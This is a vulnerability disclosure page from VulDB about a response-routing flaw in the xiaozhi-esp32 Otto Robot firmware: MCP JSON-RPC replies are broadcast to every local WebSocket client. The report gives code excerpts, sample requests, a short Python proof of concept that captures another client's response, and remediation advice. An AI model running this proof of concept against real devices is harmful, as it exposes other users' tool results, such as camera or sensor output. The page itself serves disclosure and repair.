Enviar #838198: 78 xiaozhi-esp32 36200942cca3f7cbac6c927ce7458bad874297ab Information Exposure / Improper Routinginformación

Título78 xiaozhi-esp32 36200942cca3f7cbac6c927ce7458bad874297ab Information Exposure / Improper Routing
Descripción## Vulnerability Title Tool Result Confusion via Hash-Key Confusion in MCP JSON-RPC Response Routing ## Affected Component `main/mcp_server.cc` and `main/boards/otto-robot/websocket_control_server.cc` Repository: https://github.com/78/xiaozhi-esp32 (Otto Robot board variant) ## Summary An attacker with access to the Otto Robot local WebSocket control server can create MCP JSON-RPC requests that reuse another client's request `id`, causing application-level key confusion because the response key includes only `id` and excludes the source connection. This leads to cross-client MCP tool result exposure and response confusion, negatively impacting users connected to `ws://<device-ip>:8080/ws`. ## Technical Details The vulnerability occurs because the MCP server uses the JSON-RPC `id` as the effective response correlation key, then sends responses through a board-level broadcast path. The key does not include the source WebSocket connection, so two requests from different clients can be treated as equivalent for response routing. **Where the Key is Computed** The application-level correlation key is the JSON-RPC numeric `id` (`main/mcp_server.cc`): ```cpp auto id = cJSON_GetObjectItem(json, "id"); auto id_int = id->valueint; ``` For asynchronous tool calls, only the `id` is captured for the eventual response. **Vulnerable Response Routing** The local Otto Robot WebSocket server receives the request with connection context, but dispatches only the JSON payload into the singleton MCP server, discarding the source connection identity (`fd`). MCP responses are sent through `Application::SendMcpMessage`, which invokes the board-level MCP broadcast callback. The Otto Robot board registers the callback to broadcast every MCP response to the local WebSocket control server: ```cpp // main/boards/otto-robot/otto_robot.cc Application::GetInstance().RegisterMcpBroadcastCallback([this](const std::string& payload) { if (ws_control_server_) { ws_control_server_->BroadcastMessage(payload); ``` `BroadcastMessage` then sends each response to all connected local clients. **How the Attacker Constructs a Conflicting Object** Victim request: ```json { "connection_id": "fd:10", "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "self.camera.take_photo", "arguments": {} }, "id": 41 } ``` Attacker request: ```json { "connection_id": "fd:11", "jsonrpc": "2.0", "method": "tools/list", "id": 41 } ``` Both requests have the same application key (`id=41`), but originate from different clients. The vulnerable path discards `connection_id` before response routing and broadcasts responses to all connected clients. ## Impact This vulnerability allows attackers to: - Receive MCP tool results produced by another local WebSocket client connected to the Otto Robot control server. - Confuse JSON-RPC pending request handling in clients that correlate responses only by `id`. - Observe sensitive device outputs if another client invokes tools that return device state, camera output, sensor readings, or diagnostic information. ## Proof of Concept The PoC demonstrates that two security-distinct requests can share the same application-level response key, and that the vulnerable sink broadcasts the response to a client that did not initiate the request. ```python #!/usr/bin/env python3 """Minimal hardware PoC for MCP response key confusion.""" import asyncio import json import os import websockets URI = os.environ["DEVICE_WS"] async def main(): victim = await websockets.connect(URI) attacker = await websockets.connect(URI) victim_request = { "jsonrpc": "2.0", "method": "tools/list", "id": 41, } await victim.send(json.dumps(victim_request)) leaked = await asyncio.wait_for(attacker.recv(), timeout=5) print("attacker received:\n", leaked) decoded = json.loads(leaked) assert decoded["jsonrpc"] == "2.0" assert decoded["id"] == 41 print("Security invariant broken: another client received the victim response.") await victim.close() await attacker.close() asyncio.run(main()) ``` ## Remediation Carry connection identity through the MCP request and response path. Responses for requests received on `WebSocketControlServer` should be sent only to the originating socket fd, not broadcast to every connected local WebSocket client. Example direction: ```cpp // Bind request identity to source connection and reply only to that fd. struct McpRequestContext { int connection_fd; int jsonrpc_id; }; // key = (connection_fd, jsonrpc_id) ``` Additional mitigations: 1. Complete Field Coverage: Include all fields relevant to response routing, especially source connection and client/session identity. 2. Domain Separation: Separate request/response namespaces across WebSocket clients, cloud sessions, and users. 3. Read-Time Revalidation: Before returning tool results, re-check that the response is being sent to the client that initiated the request. ## References - Vulnerable JSON-RPC `id` extraction: `https://github.com/78/xiaozhi-esp32/blob/36200942cca3f7cbac6c927ce7458bad874297ab/main/mcp_server.cc#L377-L382` - Async tool response captures only `id`: `https://github.com/78/xiaozhi-esp32/blob/36200942cca3f7cbac6c927ce7458bad874297ab/main/mcp_server.cc#L550-L559` - Local WebSocket dispatch drops source connection: `https://github.com/78/xiaozhi-esp32/blob/36200942cca3f7cbac6c927ce7458bad874297ab/main/boards/otto-robot/websocket_control_server.cc#L154-L165` - MCP response broadcast callback registration: `https://github.com/78/xiaozhi-esp32/blob/36200942cca3f7cbac6c927ce7458bad874297ab/main/boards/otto-robot/otto_robot.cc#L228-L240`
Fuente⚠️ https://github.com/78/xiaozhi-esp32/issues/2020
Usuario
 dem0000 (UID 98390)
Sumisión2026-05-27 04:24 (hace 1 mes)
Moderación2026-06-27 17:50 (1 month later)
EstadoAceptado
Entrada de VulDB374486 [78 xiaozhi-esp32 hasta 2.2.6 MCP Response main/mcp_server.cc ParseMessage]
Puntos20

Do you need the next level of professionalism?

Upgrade your account now!